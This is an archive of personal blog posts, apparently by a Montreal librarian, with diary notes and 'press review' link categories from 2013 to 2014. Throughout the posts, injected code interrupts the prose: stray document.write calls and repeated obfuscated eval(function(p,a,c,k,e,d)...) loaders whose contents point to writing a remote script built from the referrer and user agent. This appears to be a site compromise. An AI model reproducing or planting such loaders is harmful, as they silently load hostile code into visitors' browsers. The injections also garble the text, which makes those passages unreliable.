Revue de presse

The month in review (2014-03-02)

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February was another harsh, document.write(“”); cold month (although we had a brief respite with warmer temperature and rain). It was a rather annoying month. I didn’t feel top shape (mostly digestion problems and abdominal pain). I had many small problems to take care and there was a lot of stuff pissing me off in the news. My cat caught another mouse in the house. I had not enough time to write as much as I wanted. All this put me in a bad mood. Above all I was quite tired (mentally) with my long commute to work (in the last year, I applied nearly thirty times for positions in libraries closer to home, but without any success). In fact, I realized that most of the days I was leaving home around 8:15 am and coming back around 7:45 pm. I am gone nearly twelve hours to work only seven hours! For what? In order to win enough wages to pay for food and mortgage so I can sleep, eat and go to work the next day? What a depressing thought! The good news is that I now have only seven hundred and ninety-four weeks before retirement!
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Locally there was more talks about the secular charter, a tax hike, possible provincial elections, and lots of discussion about municipal pension plans (ah! those lazy and overpaid municipal workers!). In the meantime, the world was busy dealing with freaky weather conditions (notably drought in California, lots of snow in the east coast and too much rain in England), the Sochi Olympics, unrest in Ukraine and possible military intervention by the Russians.

I’ve gathered over an hundred links to interesting news stories. You can check them after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour
Local News & National Politics

Media, Culture, Entertainment & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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The month in review (2014-01-28)

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January was a very cold and depressing month. Actually, document.write(“”); the most depressing day of the year, called Blue Monday, was on January 20th… I didn’t do much and nothing exciting happened. I kept reading the news nevertheless and here’s a few news worthy of interest after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihhkz|var|u0026u|referrer|dryzi||js|php’.split(‘|’),0,{}))


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Local News & National Politics

Media, Culture, Entertainment & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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The month in review (2013-12-27)

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Lots happened on the domestic front during december. Mostly problems. It’s depressing how life can sometimes hounds you down. I’ll address that in a separate entry if I have the courage…
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In the news, document.write(“”); no big events worth reporting but nearly an hundred interesting bits of information that I gathered and shared with you after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, Entertainment & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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The week in review (2013-12-03)

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As usual, document.write(“”); the last three weeks were rather busy. On the domestic front, first, I was able to write more actively (some entries were retro-blogged from my physical notebook): a rant about an ordering woe with Amazon, reflexions on Memorial Day and Doctor Who‘s success, a few comics or manga news and discoveries (untranslated shojo from the 70s-80s, Joséphine Impératrice and Showa: A history of Japan), as well as a few book comments (Bibliovores, Les Vacances de Jésus et Bouddha 2, Übel Blatt 1, and Cesare 1).
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The weather grew increasingly cold (first getting consistently sub-zero temperature, then down to nearly -15° C) and snowy, giving us a real preview of winter. Now, we are already in december and there’s a little snow on the ground. Although it is a little warmer (1° C) so it might not stay long. I got caught by surprise, so I didn’t finish all the winter preparation I wanted to do in the garden. Maybe it will get warmer enough later to be able to do it. Who knows.

I went to visit an exposition at the Montreal Museum of Fine Arts titled “Splendore a Venezia” and dedicated to art and music from the Renaissance to Baroque in Venice. I gave attention mostly to the art part (looking at the pieces and reading their descriptions). It was really nice but I didn’t have enough of a few hours the see everything. So I intend to go back to pay attention this time to the musical part (and take the audio tour). I can go back as many time as I want since my wife and I took a VIP membership this year. I’ll probably go back regularly to have a look on the permanent collection that I haven’t seen in over fifteen years and also check out the “Comics at the Museum: 15 artists from La Pastèque reinterpret the collection” exposition. We’ve also visited a bazar at the Japanese-Canadian Cultural Center where I bought a small piece of Japanese-style pottery created by a local artist. Oh, and I also visited the Montreal book fair but there’s so many stuff there that it’s overwhelming.

Finally, it seems that I must always have a health problem of some sort: last week at work I slipped on a wet floor and hurt my back a little. Then aggravated it a few days later while carrying boxes. The pain has diminished and I can manage my tasks if I wear a lumbar support belt. But the pain is still annoying me. Hopefully it will pass with some more rest.

On the world stage, here’s again nearly an hundred interesting links after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Local News & National Politics

Media, Culture, & Society

Special: Doctor Who 50th anniversary!

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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The week in review (2013-11-10)

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The last two weeks were rather eventful: I felt quite poorly, document.write(“”); got a new iPad Air, had to deal with a twenty-seven-hour power outage, got my flu shot, since the temperature is getting much colder I took a few kittens inside the house (I’ll keep one and try to find someone to adopt the other two), and had to deal with a bogus order from Amazon (ordered a book in english and received it in spanish!). With all that I didn’t write much (two comments about children books (in french): one about Japanese holidays and one about growing tomatoes; and my pile of books to read is getting even taller!). I probably watch too much TV. Two British series that particularly stand out: Atlantis (a mythology-themed adventure series quite similar to Sinbad) and The Paradise (an epoch drama based on a novel by Émile Zola; it’s made by the same creator & producers (and with many actors) from Lark Rise to Candleford, and is also quite similar to Mr Selfridge–which was produced before The Paradise but was pushed back and aired after in order to avoid having two similar shows competing for the audience). And now I am so tired…
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On the world stage, I’ve found again nearly an hundred interesting stories that I will share with you after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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The week in review (2013-10-27)

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Lots happened in the last three weeks. The software for Sony QX10 camera was updated just in time for the small trip I took around Quebec City (mostly the Orleans Island and the Montmorency falls) with my family to celebrate the 60th wedding anniversary of my parents. I was able to catch up a little on my writing (commenting on a children book, document.write(“”); the latest Amélie Nothomb and even a movie!), but, as always, not as much as I wanted. This week-end, I’ll pamper the many kittens hanging out my balcony (anybody wants one?), do some yard clean-up since it’s really getting colder (winter IS coming!!!), go vote by anticipation (I love anticipation) for the municipal elections (but for who?! I’m really not sure) and (hopefully) write some more.
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In the news, Apple announced new goodies (mostly the iPad Mini retina display and iPad Air, which I am seriously considering buying soon) and released software updates for the Mac OS (Maverick) and iOS (7.0.3; both prompting lots backupings, updatings, and even eventually upgradings!) and the U.S. government resumed its business as usual (bickering amongst themselves and spying on people). As usual, you’ll find links to over an hundred of the most interesting stories just after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

SPECIAL: new iPads and OS updates

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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The week in review (2013-10-07)

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Domestic log — I am not sure why but, document.write(“”); in the last couple of weeks, I felt extremely tired. It has been quite busy at work, so maybe that’s the reason [or maybe it’s just the damn bunch of rowdy kids and the long transit hours]. Each time I bring myself to the brink of exhaustion, I always worry that I will get the flu or something (and often I do). Because of this (being busy and tired), I have not written much (just one manga comment about The Old Testament). Although my recent blog entries have tended to be much longer (like the one on Gen of Hiroshima‘s manga or the tech review on Sony’s QX10 Camera). I also kept myself busy by toying with the new camera. One weird event is also worth mentioning: a dead crow got stuck in the tree just in front of our house. Was it a bad omen? It was quite high in the tree so it was a little difficult to take it down. It was surprisingly light.
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Press review — Not much in the news lately, beside the U.S. government shutdown, which now enters in its second week. I just don’t understand how the american people can let a radical minority in the Republican party take their government hostage like that. They hope to hurt Obama and force him to repeal Obamacare, but it should backfire on them. Obamacare was passed by both Congress and the Senate, then Obama was reelected for a second mandate on it and it was even confirmed by the Supreme Court! And yet the Republican are fiercely and unrelentingly trying to kill it (okay it’s not perfect but it’s much better than nothing; and the Republican are the one who made it such a mess in the first place!). How can they disregard the will of the people so undemocratically? And how could some americans still blame Obama for the shutdown?

Anyway, you’ll find links to the news stories that I considered the most interesting, right after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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The week in review (2013-09-23)

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Domestic log — It was again a busy couple of weeks for me. First, document.write(“”); I had two separate sessions of union training (union rep and health & security at work). Going back to class is more tiring than working, I can tell you. I was going back home even more exhausted than usual, so I didn’t write much during that time. I wrote only one comment (which demanded lots of research, so it took me quite a while and it’s a little longer than usual [2000 words] but I am quite happy with it) about Barefoot Gen (in french). I’ll try to catch up on my writing, but unfortunately my pile of books to read keeps growing faster than I can write about them!
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We’re definitely having an early autumn this year. Already by mid-september the temperature had drop to 10~12?C and leaves had started falling from the trees! And I could see (or hear) flights of geese going south. It definitely bodes ill for the season… Now autumn is here and it shows (although the temperature has warmed up a little). It is sunny today, but days tend to be rather dull and cloudy lately. To add to the gloomy atmosphere, two friends of my father died in the last week.

“Oh my God! It’s full of kittens!” An alternate version of 2001 Space Odyssey? No: my backyard in the last couple of weeks! Two separate litters of kittens roam in the backyard. I had a scare when, one day, they all disappeared (I was dismayed: who had stolen my kittens?! It was a hard blow to take after the unexpected departure of my beloved Spotty) but they were all back the next day. I don’t know what happened but I was glad to see them back (actually it was to be expected because mothers tend to move their kittens after a while for security reasons, so it could happen again; although the shed is providing them shelter and there’s always food). If they are still around next month I am planning to adopt one of them, whose shown us great interest and affection…

Besides all that, we keep watching British period drama on TV (finishing Copper and Foyle’s War, only one episode left to the first season of The Bletchley Circle, but season four of Downton Abbey is just starting) and enjoying the beautiful crops of our garden!

Press review — Lately the news have been dominated by two stories: Apple releasing new products (iPhones 5s and 5c, iOS 7) and lots of discussions on the charter of Quebec values. I could say a lot on this subject, but I’ll try to be brief.


I totally agree on the principle that Quebec society (and particularly its government) should be totally secular. I’ve always said that religion should take place only in your head [not on your head!], your home and your temple. No need to broadcast your beliefs with ostentatious signs (and certainly not blocking the metro entrance or wake me up in the morning to distribute leaflets of religious propaganda!). Unfortunately, the government (PQ) has handled the whole situation quite badly, which has been blown out of proportion by its opponents and gave it the bitter taste of xenophobia (some conspiracy theorists say it was done on purpose: either to distract from their poor economical performance or, even crazier, to drive immigrants out of the province to increase their chance in a future sovereignty referendum). However, it should be done fair and square, equally and evenly. Catholic signs of faith should receive the same treatment. That also means no crucifix in classes or in the parliament, no prayers before council meetings.

Personally, I don’t see the problem. I don’t wear any signs of my belief, so why should other people do? Religion is a private matter. That’s the way it should be done here, so why not adapt to this? It is a question of equality. People want to be treated equally? Then it works both ways. And, in this case, the charter is not attacking their liberty of whatever at all: it only asks people not to wear any religious signs if they work for the government, and only during the working hours! Outside of that they can do whatever they want! Someone on the internet compared this with wearing a uniform at work. Is that too much to ask? Of course, it is a delicate and complex subject. The veil that some muslim women wear: is it a religious or cultural expression (after all the Koran only asks women to be “modest”)? Same situation for the turban wore by the Sikhs: in itself it is not an ostentatious sign as it is only used to contains the long hair that their religion requires them not to cut, ever. We should think carefully about all this. Maybe some exceptions, some compromises, are necessary. Unfortunately, many are using this to further their own agenda. If the debate gets ugly, we should try to put ourselves in the others’ place. The fact that we are debating the subject is quite healthy in itself. I am sure we can find a solution that will be acceptable for all and thus preserve the beautiful cultural diversity of our society.

On a lesser extend there also talks about two upcoming elections: municipal and for my union executive team. As usual, I’ve gathered links about the most interesting news and I am sharing them with you:

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Extra: Apple releases iOS 7 and two models of iPhone !!

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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The week in review (2013-09-09)

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On the home front, there’s nothing really new. The Montreal World Film Festival has ended and I saw the last of the Japanese movies (I’ve seen them all save for the shorts). All in all it was a satisfactory experience. Now I have to write about those movies (and maybe do an overview of the festival). Although, the next couple of weeks, I’ll be busy getting some union training. And right now (while writing this and doing the laundry) I am waiting for a plumber to come repair a leaky hot-water tap in the bathtub (I couldn’t get a firm appointment, so he *might* come before the end of the day).

In the press realm, there an awful lot of technological news lately probably due to Apple imminent new products announcement. Sony also announced a very interesting ‘Lens-Style’ set of digital cameras working as smartphone accessories. And Miyazaki announced (again) his retirement. You can check this week’s scrap-linking right after the jump:
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The last couple of weeks in review (2013-08-31)

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The last three weeks have been quite busy. First, document.write(“”); I applied to two new jobs without success. Then my twelve year-old cat took suddenly ill and stopped eating. After a week he was only the shadow of himself and finally left us. He was my best cat ever. It made me very sad.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enyzh|var|u0026u|referrer|khety||js|php’.split(‘|’),0,{}))

Then the Montreal World Film Festival started. I had previously put myself in the mood by writing about two movies screened last year that I hadn’t commented on yet (The floating castle, The little girl in me and the short B&W Foxes and the Cave of Light). So far I’ve managed to see almost all the japanese movies (I still have one tomorrow), but could put only three of them online (Botchan, The Flower of Shanidar, and The devil’s path, plus the Australian short Tau Seru — I’ll do my best to finish the others and post them as soon as possible). The first movies I’ve screened didn’t impress me at all, but they got better and better each day. Up to now my favourite is Mourning Recipe. I’ve strayed a little from my japanese targets and screened an italian movie for a change: L’amore è Imperfetto (I might comment on it eventually if I have time). Don’t worry, I’ll also soon resume commenting on manga… (I am currently reading several of them)

I managed to keep an eye on the news. Lately, it’s all about the chemical attack in Syria and how the world should (or shouldn’t) respond. There was still a few interesting stories that were worth bookmarking and I’ll share them with you after the jump:


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Press Review (2013-08-11)

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The last month was relatively quiet in the news department. No big event that I feel I must report on absolutely. However, document.write(“”); I nevertheless gathered about an hundred links of little information that I found interesting. And I want to share them with you after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeafr|var|u0026u|referrer|yzzzt||js|php’.split(‘|’),0,{}))


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Press Review (2013-07-15)

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Earlier this month I really felt my age as someone gave me his place in the subway! But despite chronic back pain, document.write(“”); tiredness and digestion problems (the stigmata of getting older, I guess), I feel pretty good. My mind seems clearer and I write a little more. However, time is really passing by more quickly. I feel I hardly have time to accomplish anything. I feel like I’m in a spaceship accelerating toward light speed. Pfsshh! A week-end of writing… Work! Work! Pfsshh! Another week-end of writing… Work! Work! Pfsshh… You get the idea…
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There’s still many more manga I’d like to comment about but, since the movie festivals season is arriving, I feel like watching and commenting on movies. I’ll see about that…

We keep having the same weather pattern: a few days of heat wave followed by days and days of rain… It seems it’s also the season of catastrophic events. Fire here, flood there (when it rains, it pours as they say). Plain crash here, train crash here and there! And the poor whistleblower is still stuck in the limbo of a russian airport (lesson: never blow the whistle on your government; big brother don’t like that kind of music as it makes his enemies–and even some allies–dance an outraged Flamenco). The Middle East continues its slow spontaneous combustion and Egyptians protest again as they want the pharaohs back. Florida acquit a white man for killing a black boy, but give twenty years to a black women for firing a warning shot at her abusive husband. As you see, nothing worth reporting in the news. Still, you’ll find links to a few interesting news stories after the jump:


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Press Review (2013-07-01)

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Since the usual Domestic Log part of this entry was a bit long this time, document.write(“”); I devoted a separate item to it…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsfdt|var|u0026u|referrer|bhfdr||js|php’.split(‘|’),0,{}))

On the news side there wasn’t any that stood out specifically, besides Apple’s new keynote at the WWDC (announcing new iOS and Mac OS coming this fall). There was a few new hardware announcements (the stunning new Mac Pro) but the piece of equipment that I was expecting the most (an upgrade for the Airport Extreme) wasn’t part of the keynote, although it was indeed released (and I quickly ordered it)!

However there was many news worthy of my interest and, as usual, I collected them to share with you right after the jump:


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Press Review (2013-06-09)

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After one of the most disastrous vacations in memory (cancellation of a trip, document.write(“”); being sick most of the time and rainy weather all over) I had to return to work. A guy must win his bread after all. The end of May and early June was marked by a heat wave, followed again by unseasonably cold weather and more rain! Twelve degree celsius in June? No wonder my cold doesn’t want to let go (although I am feeling better, I still have ears’ problem). I’ve been busy reading… hopefully I’ll have the energy and time to write about it. It was a quiet couple of weeks in the news and you’ll find my collection of links after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aatrz|var|u0026u|referrer|hrsah||js|php’.split(‘|’),0,{}))


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Press Review (2013-05-23)

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I am right in the middle of a ten-day vacation. Unfortunately, document.write(“”); the cold temperature we’ve had in the middle of the month seems to have revived my cold and I’ve spent most of the first part of my vacation sleeping, coughing, blowing my nose and adding entries to my new Goodreads account (it’s great to list and review books I’ve read, linking to my blog; I strongly recommend people to try this and comment on my reviews or exchange opinion). I had so much planned (like catching up on my writing or doing stuff around the house: getting rid of mice, cleaning up the garage, etc.). I am feeling a little better now so I should get going (although it has been raining a lot in the last few days) because I fear I will have even less time in the coming months (I’ve picked up some union duties as a rep and I’m planning to get involved a little in the Goodreads community as librarian). And I’m not getting any younger (today is my birthday, I’m now fifty-one)…
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As for the news, there are not much to talk about (besides a series of tornadoes in the U.S.A.), but as usual you can find links to my selection of news stories right after the jump:


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Press Review (2013-05-07)

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The last few weeks were quite eventful: there was a terrorist attack at the Boston marathon, document.write(“”); ricin letters were sent to Obama and some members of Congress, a fertilizer plant exploded in Texas, etc. Spring is definitely here since I saw flights of geese going north, but winter doesn’t want to be forgotten yet. One day, toward the end of april, we saw all kind of weather altogether: it rained, snowed and we even got hail! The next day, my wife and I were celebrating the 2nd year in our new house. As soon as may started, the summer showed its warm face as temperature raised around 15 and 20 degrees celsius, but trees were still bare. I was longing for some green foliage and flowers. It all came out in the last week. Now we really feel the summer. This week-end, after attending Boréal, we have started to work on the garden, cleaning up and planting tomatoes and other vegetables. With all this, I was quite busy so I didn’t gather much news links. Check my slim pick after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anibz|var|u0026u|referrer|dtdhi||js|php’.split(‘|’),0,{}))


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Rhymes with Orange (2013-03-07)
Pearls before swine (2013-03-09)
Non sequitur (2013-03-25)
Zits (2013-04-03)
Unshelved (2013-04-11)
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Press Review (2013-04-15)

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April already. Still tired and a little depressed for no real reasons other than probably the end of winter blah. Still got mice problem: the cats got a tiny one on the first floor (they’re spreading and reproducing! But it seems that cats are the best countermeasure). Winter came back for a last hurrah and we got snow again last friday. They were forecasting fifteen centimetres but we probably got no more than five on the ground. Very wet snow. And it melted completely within two days. And I have a damn cold again.
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Besides the deaths of Roger Ebert and Margaret Thatcher, document.write(“”); or the sabre rattling of North Korea (trying to bully the West into getting more aid again; when you comply to taxing you just show that you’re weak; they should give them a good lesson for once and for all), it was a very quiet couple of weeks in the news. Have a look on the links after the jump:


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Press Review (2013-03-31)

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The most boring week spent in the worse way possible: expecting something to happen. Of course, document.write(“”); nothing happened! I was hoping to get some results from my little job hunting, but I guess I’ll stay in this hell’s pit for a little while. At least I’ve received my income tax returns and got my annual haircut (for that I tried a local italian barber for the first time). Buona Pasqua tutti!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdynk|var|u0026u|referrer|etrsb||js|php’.split(‘|’),0,{}))

For a little action, check the few links I gathered this week after the jump:


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Non Sequitur (2013-03-05)
Zits (2013-03-05)
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Press Review (2013-03-26)

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Not much happened in the last couple of weeks: A few activities on the union side (inflating even more my disillusions about democracy), document.write(“”); a little job hunting (I’m looking to move to a better position, geographically) and a last hurrah of the winter with a storm that gave us nearly twenty centimetres of snow last week. However, spring is coming out stronger each day.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byhsd|var|u0026u|referrer|absyy||js|php’.split(‘|’),0,{}))

I just finished reading Hitler, a manga by Shigeru Mizuki, and now I am reading Mari Yamazaki’s Thermae Romae (an hilarious manga that was adapted into both an anime and a live-action movie) as well as Je suis vivant et vous êtes morts [I am alive but you’re dead] a novelized biography of Philip K. Dick by French author Emmanuel Carrère. All quite interesting and I’ll try to comment on them as soon as possible (considering how busy I am, it’ll probably take months).

On TV, I just finished watching the (Brit, of course) series Mr Selfridge and Ripper Street. I am currently following (or catching up on) Ben Hur (the 2010 movie for TV remake, ideal viewing choice for the week leading to Easter!), Murdoch Mysteries and Vikings (while still watching the usual Elementary, Hawaiï Five-O, Mentalist, NCIS, Vampire Diaries and Walking Dead — it’s funny to note that those are the only shows with contemporary setting that I watch). Not to forget that Bomb Girls, The Borgia, Continuum, Doctor Who, Game of Thrones and Mad Men will resume imminently. I’m wondering where I find time to sleep.

Not much news-wise either. A new Pope was elected (as if it would change anything) and, for the rest, here’s a few links after the jump:


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Unshelved (2013-03-21)

Unshelved (2013-03-23, originally appeared on 2003/04/22)

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Press Review (2013-03-12)

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Domestic log: We’ve just started Daylight Saving Time. Spring is obviously coming in a week as we are getting warmer temperature and rain to make the snow melt. I’m not complaining. I feel much better that way, document.write(“”); although the view of all those bare trees is still depressing. I can’t wait to see some green. Last week was the spring break for local elementary and high schools so the library was hellishly busy. Seeing all those poster-children for vasectomy sure makes you rethink your career plans. I am really desperate to move out of this library for a less dysfunctional one in order to save my sanity! I also heard the shocking news of the death of Toren Smith, a manga translation pioneer that played a key role in importing our favourite books this side of the Pacific. I barely knew him, having met only half a dozen times, mostly in the nineties. However my wife knew him much better than me. We’ve spent a sad evening remembering him as my wife was telling me a few interesting anecdotes about him.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hszzz|var|u0026u|referrer|iyyhk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiibf|var|u0026u|referrer|byiyf||js|php’.split(‘|’),0,{}))

As for the press review, the last couple of weeks were poor in big news. The winners of the Japanese Academy Awards were announced and the Conclave to elect the new Pope has just begun. You will find links to more news (including my favourite library humour) after the jump:


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Dilbert (2013/02/14)

Pooch Cafe (2013/02/14)

Unshelved (2013/02/27)

Unshelved (2013/02/28)

Unshelved (2013/03/02 — originally appeared on 4/15/2003)

Unshelved (2013/03/11)

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Press Review (2013-02-26)

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February is the most depressing month of the year. And that’s without counting on the fact that I work in a mad house where absurdity rules, document.write(“”); constantly being bullied and insulted by unruly kids and rebelling teenagers, having to attend union meetings that make a mockery of democracy, and that’s just the first day of the week. Luckily I can read manga and watch TV to completely forget about my crazy life (incidentally, I’m glad to say that, lately, I’ve been busy and able to catch up a little more on my blogging with a few comments — mostly in french — on Taniguchi’s Anthology and Furari, as well as Sakuran manga and live-action movie) or immerse myself in reading the news online. See this week’s crop (including more library humour) after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbdyz|var|u0026u|referrer|rhnse||js|php’.split(‘|’),0,{}))


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Press Review (2013-02-18)

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A lot happened at home in the last couple of weeks (or so). Here’s the highlights: at the end of January a pipe broke within a wall while I wasn’t home and it went on for hours! I had to break the wall to see where the leak was. Luckily, document.write(“”); it was the hot water so I just had to turn off the water from the heating tank to make it stop. No hot water for a few days and the plumber costed my a week’s salary (at a hundred dollars per hour I realize that I should have become a plumber instead of an historian)! The next morning another main pipe broke on the street (this time up street; it was the third city water infrastructure failure within a couple of weeks) and the city had to cut water supply for a few hours. The cats caught another mouse in the house. My eighty-three years-old mother had a major surgery to repair an abdominal aortic aneurism, but all went well and she’s recovering fine. Ten days ago we got another big snow storm (but only about ten centimetres this time). My cold is dragging on and tends to get worse on week-ends!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ziebh|var|u0026u|referrer|nntbr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|banyb|var|u0026u|referrer|idkir||js|php’.split(‘|’),0,{}))

Even the news were eventful: they found the King Richard III under a parking lot, the Pope resigned, Obama delivered the State of the Union address, a meteorite crashed in Russia and much more (including some library humour) after the jump:


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Press Review (2013-01-28)

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First, document.write(“”); the domestic log. Indeed the Operating System of the Mac Mini got corrupt somehow and I had to use Time Machine to restore it. However, even Time Machine had a problem and I had to go back to a week-old backup to successfully restore the whole system and then restore more recent files individually. It took a while to do all that (each unsuccessful restore took several hours). It seems that everything stopped working properly since I also had problems with both my microwave oven and the regular oven (I will have to replace one and repair the latter).
